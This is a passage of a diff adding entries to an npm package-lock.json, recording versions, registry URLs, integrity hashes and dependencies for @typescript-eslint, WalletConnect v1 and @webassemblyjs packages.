7490+ "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.62.0.tgz",
7491+ "integrity": "sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==",
7492+ "license": "BSD-2-Clause",
7493+ "dependencies": {
7494+ "@typescript-eslint/scope-manager": "5.62.0",
7495+ "@typescript-eslint/types": "5.62.0",
7496+ "@typescript-eslint/typescript-estree": "5.62.0",
7497+ "debug": "^4.3.4"
7498+ },
7499+ "engines": {
7500+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7501+ },
7502+ "funding": {
7503+ "type": "opencollective",
7504+ "url": "https://opencollective.com/typescript-eslint"
7505+ },
7506+ "peerDependencies": {
7507+ "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
7508+ },
7509+ "peerDependenciesMeta": {
7510+ "typescript": {
7511+ "optional": true
7512+ }
7513+ }
7514+ },
7515+ "node_modules/@typescript-eslint/parser/node_modules/debug": {
7516+ "version": "4.4.3",
7517+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
7518+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
7519+ "license": "MIT",
7520+ "dependencies": {
7521+ "ms": "^2.1.3"
7522+ },
7523+ "engines": {
7524+ "node": ">=6.0"
7525+ },
7526+ "peerDependenciesMeta": {
7527+ "supports-color": {
7528+ "optional": true
7529+ }
7530+ }
7531+ },
7532+ "node_modules/@typescript-eslint/parser/node_modules/ms": {
7533+ "version": "2.1.3",
7534+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
7535+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
7536+ "license": "MIT"
7537+ },
7538+ "node_modules/@typescript-eslint/scope-manager": {
7539+ "version": "5.62.0",
7540+ "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz",
7541+ "integrity": "sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==",
7542+ "license": "MIT",
7543+ "dependencies": {
7544+ "@typescript-eslint/types": "5.62.0",
7545+ "@typescript-eslint/visitor-keys": "5.62.0"
7546+ },
7547+ "engines": {
7548+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7549+ },
7550+ "funding": {
7551+ "type": "opencollective",
7552+ "url": "https://opencollective.com/typescript-eslint"
7553+ }
7554+ },
7555+ "node_modules/@typescript-eslint/type-utils": {
7556+ "version": "5.62.0",
7557+ "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz",
7558+ "integrity": "sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==",
7559+ "license": "MIT",
7560+ "dependencies": {
7561+ "@typescript-eslint/typescript-estree": "5.62.0",
7562+ "@typescript-eslint/utils": "5.62.0",
7563+ "debug": "^4.3.4",
7564+ "tsutils": "^3.21.0"
7565+ },
7566+ "engines": {
7567+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7568+ },
7569+ "funding": {
7570+ "type": "opencollective",
7571+ "url": "https://opencollective.com/typescript-eslint"
7572+ },
7573+ "peerDependencies": {
7574+ "eslint": "*"
7575+ },
7576+ "peerDependenciesMeta": {
7577+ "typescript": {
7578+ "optional": true
7579+ }
7580+ }
7581+ },
7582+ "node_modules/@typescript-eslint/type-utils/node_modules/debug": {
7583+ "version": "4.4.3",
7584+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
7585+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
7586+ "license": "MIT",
7587+ "dependencies": {
7588+ "ms": "^2.1.3"
7589+ },
7590+ "engines": {
7591+ "node": ">=6.0"
7592+ },
7593+ "peerDependenciesMeta": {
7594+ "supports-color": {
7595+ "optional": true
7596+ }
7597+ }
7598+ },
7599+ "node_modules/@typescript-eslint/type-utils/node_modules/ms": {
7600+ "version": "2.1.3",
7601+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
7602+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
7603+ "license": "MIT"
7604+ },
7605+ "node_modules/@typescript-eslint/types": {
7606+ "version": "5.62.0",
7607+ "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.62.0.tgz",
7608+ "integrity": "sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==",
7609+ "license": "MIT",
7610+ "engines": {
7611+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7612+ },
7613+ "funding": {
7614+ "type": "opencollective",
7615+ "url": "https://opencollective.com/typescript-eslint"
7616+ }
7617+ },
7618+ "node_modules/@typescript-eslint/typescript-estree": {
7619+ "version": "5.62.0",
7620+ "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz",
7621+ "integrity": "sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==",
7622+ "license": "BSD-2-Clause",
7623+ "dependencies": {
7624+ "@typescript-eslint/types": "5.62.0",
7625+ "@typescript-eslint/visitor-keys": "5.62.0",
7626+ "debug": "^4.3.4",
7627+ "globby": "^11.1.0",
7628+ "is-glob": "^4.0.3",
7629+ "semver": "^7.3.7",
7630+ "tsutils": "^3.21.0"
7631+ },
7632+ "engines": {
7633+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7634+ },
7635+ "funding": {
7636+ "type": "opencollective",
7637+ "url": "https://opencollective.com/typescript-eslint"
7638+ },
7639+ "peerDependenciesMeta": {
7640+ "typescript": {
7641+ "optional": true
7642+ }
7643+ }
7644+ },
7645+ "node_modules/@typescript-eslint/typescript-estree/node_modules/debug": {
7646+ "version": "4.4.3",
7647+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
7648+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
7649+ "license": "MIT",
7650+ "dependencies": {
7651+ "ms": "^2.1.3"
7652+ },
7653+ "engines": {
7654+ "node": ">=6.0"
7655+ },
7656+ "peerDependenciesMeta": {
7657+ "supports-color": {
7658+ "optional": true
7659+ }
7660+ }
7661+ },
7662+ "node_modules/@typescript-eslint/typescript-estree/node_modules/ms": {
7663+ "version": "2.1.3",
7664+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
7665+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
7666+ "license": "MIT"
7667+ },
7668+ "node_modules/@typescript-eslint/utils": {
7669+ "version": "5.62.0",
7670+ "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.62.0.tgz",
7671+ "integrity": "sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==",
7672+ "license": "MIT",
7673+ "dependencies": {
7674+ "@eslint-community/eslint-utils": "^4.2.0",
7675+ "@types/json-schema": "^7.0.9",
7676+ "@types/semver": "^7.3.12",
7677+ "@typescript-eslint/scope-manager": "5.62.0",
7678+ "@typescript-eslint/types": "5.62.0",
7679+ "@typescript-eslint/typescript-estree": "5.62.0",
7680+ "eslint-scope": "^5.1.1",
7681+ "semver": "^7.3.7"
7682+ },
7683+ "engines": {
7684+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7685+ },
7686+ "funding": {
7687+ "type": "opencollective",
7688+ "url": "https://opencollective.com/typescript-eslint"
7689+ },
7690+ "peerDependencies": {
7691+ "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
7692+ }
7693+ },
7694+ "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": {
7695+ "version": "5.1.1",
7696+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
7697+ "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
7698+ "license": "BSD-2-Clause",
7699+ "dependencies": {
7700+ "esrecurse": "^4.3.0",
7701+ "estraverse": "^4.1.1"
7702+ },
7703+ "engines": {
7704+ "node": ">=8.0.0"
7705+ }
7706+ },
7707+ "node_modules/@typescript-eslint/utils/node_modules/estraverse": {
7708+ "version": "4.3.0",
7709+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
7710+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
7711+ "license": "BSD-2-Clause",
7712+ "engines": {
7713+ "node": ">=4.0"
7714+ }
7715+ },
7716+ "node_modules/@typescript-eslint/visitor-keys": {
7717+ "version": "5.62.0",
7718+ "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz",
7719+ "integrity": "sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==",
7720+ "license": "MIT",
7721+ "dependencies": {
7722+ "@typescript-eslint/types": "5.62.0",
7723+ "eslint-visitor-keys": "^3.3.0"
7724+ },
7725+ "engines": {
7726+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7727+ },
7728+ "funding": {
7729+ "type": "opencollective",
7730+ "url": "https://opencollective.com/typescript-eslint"
7731+ }
7732+ },
7733+ "node_modules/@ungap/structured-clone": {
7734+ "version": "1.3.0",
7735+ "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz",
7736+ "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==",
7737+ "license": "ISC"
7738+ },
7739+ "node_modules/@use-gesture/core": {
7740+ "version": "10.3.1",
7741+ "resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz",
7742+ "integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==",
7743+ "license": "MIT"
7744+ },
7745+ "node_modules/@use-gesture/react": {
7746+ "version": "10.3.1",
7747+ "resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz",
7748+ "integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==",
7749+ "license": "MIT",
7750+ "dependencies": {
7751+ "@use-gesture/core": "10.3.1"
7752+ },
7753+ "peerDependencies": {
7754+ "react": ">= 16.8.0"
7755+ }
7756+ },
7757+ "node_modules/@walletconnect/browser-utils": {
7758+ "version": "1.8.0",
7759+ "resolved": "https://registry.npmjs.org/@walletconnect/browser-utils/-/browser-utils-1.8.0.tgz",
7760+ "integrity": "sha512-Wcqqx+wjxIo9fv6eBUFHPsW1y/bGWWRboni5dfD8PtOmrihrEpOCmvRJe4rfl7xgJW8Ea9UqKEaq0bIRLHlK4A==",
7761+ "license": "Apache-2.0",
7762+ "dependencies": {
7763+ "@walletconnect/safe-json": "1.0.0",
7764+ "@walletconnect/types": "^1.8.0",
7765+ "@walletconnect/window-getters": "1.0.0",
7766+ "@walletconnect/window-metadata": "1.0.0",
7767+ "detect-browser": "5.2.0"
7768+ }
7769+ },
7770+ "node_modules/@walletconnect/client": {
7771+ "version": "1.8.0",
7772+ "resolved": "https://registry.npmjs.org/@walletconnect/client/-/client-1.8.0.tgz",
7773+ "integrity": "sha512-svyBQ14NHx6Cs2j4TpkQaBI/2AF4+LXz64FojTjMtV4VMMhl81jSO1vNeg+yYhQzvjcGH/GpSwixjyCW0xFBOQ==",
7774+ "deprecated": "WalletConnect's v1 SDKs are now deprecated. Please upgrade to a v2 SDK. For details see: https://docs.walletconnect.com/",
7775+ "license": "Apache-2.0",
7776+ "dependencies": {
7777+ "@walletconnect/core": "^1.8.0",
7778+ "@walletconnect/iso-crypto": "^1.8.0",
7779+ "@walletconnect/types": "^1.8.0",
7780+ "@walletconnect/utils": "^1.8.0"
7781+ }
7782+ },
7783+ "node_modules/@walletconnect/core": {
7784+ "version": "1.8.0",
7785+ "resolved": "https://registry.npmjs.org/@walletconnect/core/-/core-1.8.0.tgz",
7786+ "integrity": "sha512-aFTHvEEbXcZ8XdWBw6rpQDte41Rxwnuk3SgTD8/iKGSRTni50gI9S3YEzMj05jozSiOBxQci4pJDMVhIUMtarw==",
7787+ "license": "Apache-2.0",
7788+ "dependencies": {
7789+ "@walletconnect/socket-transport": "^1.8.0",
7790+ "@walletconnect/types": "^1.8.0",
7791+ "@walletconnect/utils": "^1.8.0"
7792+ }
7793+ },
7794+ "node_modules/@walletconnect/crypto": {
7795+ "version": "1.1.0",
7796+ "resolved": "https://registry.npmjs.org/@walletconnect/crypto/-/crypto-1.1.0.tgz",
7797+ "integrity": "sha512-yZO8BBTQt7BcaemjDgwN56OmSv0OO4QjIpvtfj5OxZfL6IQZQWHOhwC6pJg+BmZPbDlJlWFqFuCZRtiPwRmsoA==",
7798+ "license": "MIT",
7799+ "dependencies": {
7800+ "@noble/ciphers": "1.2.0",
7801+ "@noble/hashes": "1.7.0",
7802+ "@walletconnect/encoding": "^1.0.2",
7803+ "@walletconnect/environment": "^1.0.1",
7804+ "@walletconnect/randombytes": "^1.0.3",
7805+ "tslib": "1.14.1"
7806+ }
7807+ },
7808+ "node_modules/@walletconnect/encoding": {
7809+ "version": "1.0.2",
7810+ "resolved": "https://registry.npmjs.org/@walletconnect/encoding/-/encoding-1.0.2.tgz",
7811+ "integrity": "sha512-CrwSBrjqJ7rpGQcTL3kU+Ief+Bcuu9PH6JLOb+wM6NITX1GTxR/MfNwnQfhLKK6xpRAyj2/nM04OOH6wS8Imag==",
7812+ "license": "MIT",
7813+ "dependencies": {
7814+ "is-typedarray": "1.0.0",
7815+ "tslib": "1.14.1",
7816+ "typedarray-to-buffer": "3.1.5"
7817+ }
7818+ },
7819+ "node_modules/@walletconnect/environment": {
7820+ "version": "1.0.1",
7821+ "resolved": "https://registry.npmjs.org/@walletconnect/environment/-/environment-1.0.1.tgz",
7822+ "integrity": "sha512-T426LLZtHj8e8rYnKfzsw1aG6+M0BT1ZxayMdv/p8yM0MU+eJDISqNY3/bccxRr4LrF9csq02Rhqt08Ibl0VRg==",
7823+ "license": "MIT",
7824+ "dependencies": {
7825+ "tslib": "1.14.1"
7826+ }
7827+ },
7828+ "node_modules/@walletconnect/http-connection": {
7829+ "version": "1.8.0",
7830+ "resolved": "https://registry.npmjs.org/@walletconnect/http-connection/-/http-connection-1.8.0.tgz",
7831+ "integrity": "sha512-IziEr3c53qsMromK7jz0EkbKDHlryRbxXdFR+xaG+S5nfxtUdAfjzlZabvczXdDCgmTij6KbNsZAjBMqCBzACw==",
7832+ "license": "Apache-2.0",
7833+ "dependencies": {
7834+ "@walletconnect/types": "^1.8.0",
7835+ "@walletconnect/utils": "^1.8.0",
7836+ "eventemitter3": "4.0.7",
7837+ "xhr2-cookies": "1.1.0"
7838+ }
7839+ },
7840+ "node_modules/@walletconnect/iso-crypto": {
7841+ "version": "1.8.0",
7842+ "resolved": "https://registry.npmjs.org/@walletconnect/iso-crypto/-/iso-crypto-1.8.0.tgz",
7843+ "integrity": "sha512-pWy19KCyitpfXb70hA73r9FcvklS+FvO9QUIttp3c2mfW8frxgYeRXfxLRCIQTkaYueRKvdqPjbyhPLam508XQ==",
7844+ "license": "Apache-2.0",
7845+ "dependencies": {
7846+ "@walletconnect/crypto": "^1.0.2",
7847+ "@walletconnect/types": "^1.8.0",
7848+ "@walletconnect/utils": "^1.8.0"
7849+ }
7850+ },
7851+ "node_modules/@walletconnect/jsonrpc-types": {
7852+ "version": "1.0.4",
7853+ "resolved": "https://registry.npmjs.org/@walletconnect/jsonrpc-types/-/jsonrpc-types-1.0.4.tgz",
7854+ "integrity": "sha512-P6679fG/M+wuWg9TY8mh6xFSdYnFyFjwFelxyISxMDrlbXokorEVXYOxiqEbrU3x1BmBoCAJJ+vtEaEoMlpCBQ==",
7855+ "license": "MIT",
7856+ "dependencies": {
7857+ "events": "^3.3.0",
7858+ "keyvaluestorage-interface": "^1.0.0"
7859+ }
7860+ },
7861+ "node_modules/@walletconnect/jsonrpc-utils": {
7862+ "version": "1.0.8",
7863+ "resolved": "https://registry.npmjs.org/@walletconnect/jsonrpc-utils/-/jsonrpc-utils-1.0.8.tgz",
7864+ "integrity": "sha512-vdeb03bD8VzJUL6ZtzRYsFMq1eZQcM3EAzT0a3st59dyLfJ0wq+tKMpmGH7HlB7waD858UWgfIcudbPFsbzVdw==",
7865+ "license": "MIT",
7866+ "dependencies": {
7867+ "@walletconnect/environment": "^1.0.1",
7868+ "@walletconnect/jsonrpc-types": "^1.0.3",
7869+ "tslib": "1.14.1"
7870+ }
7871+ },
7872+ "node_modules/@walletconnect/mobile-registry": {
7873+ "version": "1.4.0",
7874+ "resolved": "https://registry.npmjs.org/@walletconnect/mobile-registry/-/mobile-registry-1.4.0.tgz",
7875+ "integrity": "sha512-ZtKRio4uCZ1JUF7LIdecmZt7FOLnX72RPSY7aUVu7mj7CSfxDwUn6gBuK6WGtH+NZCldBqDl5DenI5fFSvkKYw==",
7876+ "deprecated": "Deprecated in favor of dynamic registry available from: https://github.com/walletconnect/walletconnect-registry",
7877+ "license": "MIT"
7878+ },
7879+ "node_modules/@walletconnect/qrcode-modal": {
7880+ "version": "1.8.0",
7881+ "resolved": "https://registry.npmjs.org/@walletconnect/qrcode-modal/-/qrcode-modal-1.8.0.tgz",
7882+ "integrity": "sha512-BueaFefaAi8mawE45eUtztg3ZFbsAH4DDXh1UNwdUlsvFMjqcYzLUG0xZvDd6z2eOpbgDg2N3bl6gF0KONj1dg==",
7883+ "deprecated": "WalletConnect's v1 SDKs are now deprecated. Please upgrade to a v2 SDK. For details see: https://docs.walletconnect.com/",
7884+ "license": "Apache-2.0",
7885+ "dependencies": {
7886+ "@walletconnect/browser-utils": "^1.8.0",
7887+ "@walletconnect/mobile-registry": "^1.4.0",
7888+ "@walletconnect/types": "^1.8.0",
7889+ "copy-to-clipboard": "^3.3.1",
7890+ "preact": "10.4.1",
7891+ "qrcode": "1.4.4"
7892+ }
7893+ },
7894+ "node_modules/@walletconnect/randombytes": {
7895+ "version": "1.1.0",
7896+ "resolved": "https://registry.npmjs.org/@walletconnect/randombytes/-/randombytes-1.1.0.tgz",
7897+ "integrity": "sha512-X+LO/9ClnXX2Q/1+u83qMnohVaxC4qsXByM/gMSwGMrUObxEiqEWS+b9Upg9oNl6mTr85dTCRF8W17KVcKKXQw==",
7898+ "license": "MIT",
7899+ "dependencies": {
7900+ "@noble/hashes": "1.7.0",
7901+ "@walletconnect/encoding": "^1.0.2",
7902+ "@walletconnect/environment": "^1.0.1",
7903+ "tslib": "1.14.1"
7904+ }
7905+ },
7906+ "node_modules/@walletconnect/safe-json": {
7907+ "version": "1.0.0",
7908+ "resolved": "https://registry.npmjs.org/@walletconnect/safe-json/-/safe-json-1.0.0.tgz",
7909+ "integrity": "sha512-QJzp/S/86sUAgWY6eh5MKYmSfZaRpIlmCJdi5uG4DJlKkZrHEF7ye7gA+VtbVzvTtpM/gRwO2plQuiooIeXjfg==",
7910+ "license": "MIT"
7911+ },
7912+ "node_modules/@walletconnect/socket-transport": {
7913+ "version": "1.8.0",
7914+ "resolved": "https://registry.npmjs.org/@walletconnect/socket-transport/-/socket-transport-1.8.0.tgz",
7915+ "integrity": "sha512-5DyIyWrzHXTcVp0Vd93zJ5XMW61iDM6bcWT4p8DTRfFsOtW46JquruMhxOLeCOieM4D73kcr3U7WtyR4JUsGuQ==",
7916+ "license": "Apache-2.0",
7917+ "dependencies": {
7918+ "@walletconnect/types": "^1.8.0",
7919+ "@walletconnect/utils": "^1.8.0",
7920+ "ws": "7.5.3"
7921+ }
7922+ },
7923+ "node_modules/@walletconnect/types": {
7924+ "version": "1.8.0",
7925+ "resolved": "https://registry.npmjs.org/@walletconnect/types/-/types-1.8.0.tgz",
7926+ "integrity": "sha512-Cn+3I0V0vT9ghMuzh1KzZvCkiAxTq+1TR2eSqw5E5AVWfmCtECFkVZBP6uUJZ8YjwLqXheI+rnjqPy7sVM4Fyg==",
7927+ "deprecated": "WalletConnect's v1 SDKs are now deprecated. Please upgrade to a v2 SDK. For details see: https://docs.walletconnect.com/",
7928+ "license": "Apache-2.0"
7929+ },
7930+ "node_modules/@walletconnect/utils": {
7931+ "version": "1.8.0",
7932+ "resolved": "https://registry.npmjs.org/@walletconnect/utils/-/utils-1.8.0.tgz",
7933+ "integrity": "sha512-zExzp8Mj1YiAIBfKNm5u622oNw44WOESzo6hj+Q3apSMIb0Jph9X3GDIdbZmvVZsNPxWDL7uodKgZcCInZv2vA==",
7934+ "license": "Apache-2.0",
7935+ "dependencies": {
7936+ "@walletconnect/browser-utils": "^1.8.0",
7937+ "@walletconnect/encoding": "^1.0.1",
7938+ "@walletconnect/jsonrpc-utils": "^1.0.3",
7939+ "@walletconnect/types": "^1.8.0",
7940+ "bn.js": "4.11.8",
7941+ "js-sha3": "0.8.0",
7942+ "query-string": "6.13.5"
7943+ }
7944+ },
7945+ "node_modules/@walletconnect/web3-provider": {
7946+ "version": "1.8.0",
7947+ "resolved": "https://registry.npmjs.org/@walletconnect/web3-provider/-/web3-provider-1.8.0.tgz",
7948+ "integrity": "sha512-lqqEO0oRmCehH+c8ZPk3iH7I7YtbzmkWd58/Or2AgWAl869JamzndKCD3sTlNsPRQLxxPpraHQqzur7uclLWvg==",
7949+ "deprecated": "WalletConnect's v1 SDKs are now deprecated. Please upgrade to a v2 SDK. For details see: https://docs.walletconnect.com/",
7950+ "license": "Apache-2.0",
7951+ "dependencies": {
7952+ "@walletconnect/client": "^1.8.0",
7953+ "@walletconnect/http-connection": "^1.8.0",
7954+ "@walletconnect/qrcode-modal": "^1.8.0",
7955+ "@walletconnect/types": "^1.8.0",
7956+ "@walletconnect/utils": "^1.8.0",
7957+ "web3-provider-engine": "16.0.1"
7958+ }
7959+ },
7960+ "node_modules/@walletconnect/window-getters": {
7961+ "version": "1.0.0",
7962+ "resolved": "https://registry.npmjs.org/@walletconnect/window-getters/-/window-getters-1.0.0.tgz",
7963+ "integrity": "sha512-xB0SQsLaleIYIkSsl43vm8EwETpBzJ2gnzk7e0wMF3ktqiTGS6TFHxcprMl5R44KKh4tCcHCJwolMCaDSwtAaA==",
7964+ "license": "MIT"
7965+ },
7966+ "node_modules/@walletconnect/window-metadata": {
7967+ "version": "1.0.0",
7968+ "resolved": "https://registry.npmjs.org/@walletconnect/window-metadata/-/window-metadata-1.0.0.tgz",
7969+ "integrity": "sha512-9eFvmJxIKCC3YWOL97SgRkKhlyGXkrHwamfechmqszbypFspaSk+t2jQXAEU7YClHF6Qjw5eYOmy1//zFi9/GA==",
7970+ "license": "MIT",
7971+ "dependencies": {
7972+ "@walletconnect/window-getters": "^1.0.0"
7973+ }
7974+ },
7975+ "node_modules/@webassemblyjs/ast": {
7976+ "version": "1.14.1",
7977+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz",
7978+ "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==",
7979+ "license": "MIT",
7980+ "dependencies": {
7981+ "@webassemblyjs/helper-numbers": "1.13.2",
7982+ "@webassemblyjs/helper-wasm-bytecode": "1.13.2"
7983+ }
7984+ },
7985+ "node_modules/@webassemblyjs/floating-point-hex-parser": {
7986+ "version": "1.13.2",
7987+ "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz",
7988+ "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==",
7989+ "license": "MIT"
7990+ },
7991+ "node_modules/@webassemblyjs/helper-api-error": {
7992+ "version": "1.13.2",
7993+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz",
7994+ "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==",
7995+ "license": "MIT"
7996+ },
7997+ "node_modules/@webassemblyjs/helper-buffer": {
7998+ "version": "1.14.1",
7999+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz",
8000+ "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==",
8001+ "license": "MIT"
8002+ },
8003+ "node_modules/@webassemblyjs/helper-numbers": {
8004+ "version": "1.13.2",
8005+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz",
8006+ "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==",
8007+ "license": "MIT",
8008+ "dependencies": {
8009+ "@webassemblyjs/floating-point-hex-parser": "1.13.2",
8010+ "@webassemblyjs/helper-api-error": "1.13.2",
8011+ "@xtuc/long": "4.2.2"
8012+ }
8013+ },
8014+ "node_modules/@webassemblyjs/helper-wasm-bytecode": {
8015+ "version": "1.13.2",
8016+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz",
8017+ "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==",
8018+ "license": "MIT"
8019+ },
8020+ "node_modules/@webassemblyjs/helper-wasm-section": {
8021+ "version": "1.14.1",
8022+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz",
8023+ "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==",
8024+ "license": "MIT",
8025+ "dependencies": {
8026+ "@webassemblyjs/ast": "1.14.1",
8027+ "@webassemblyjs/helper-buffer": "1.14.1",
8028+ "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
8029+ "@webassemblyjs/wasm-gen": "1.14.1"
8030+ }
8031+ },
8032+ "node_modules/@webassemblyjs/ieee754": {
8033+ "version": "1.13.2",
8034+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz",
8035+ "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==",
8036+ "license": "MIT",
8037+ "dependencies": {
8038+ "@xtuc/ieee754": "^1.2.0"
8039+ }
8040+ },
8041+ "node_modules/@webassemblyjs/leb128": {
8042+ "version": "1.13.2",
8043+ "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz",
8044+ "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==",
8045+ "license": "Apache-2.0",
8046+ "dependencies": {
8047+ "@xtuc/long": "4.2.2"
8048+ }
8049+ },
8050+ "node_modules/@webassemblyjs/utf8": {
8051+ "version": "1.13.2",
8052+ "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz",
8053+ "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==",
8054+ "license": "MIT"
8055+ },
8056+ "node_modules/@webassemblyjs/wasm-edit": {
8057+ "version": "1.14.1",
8058+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz",
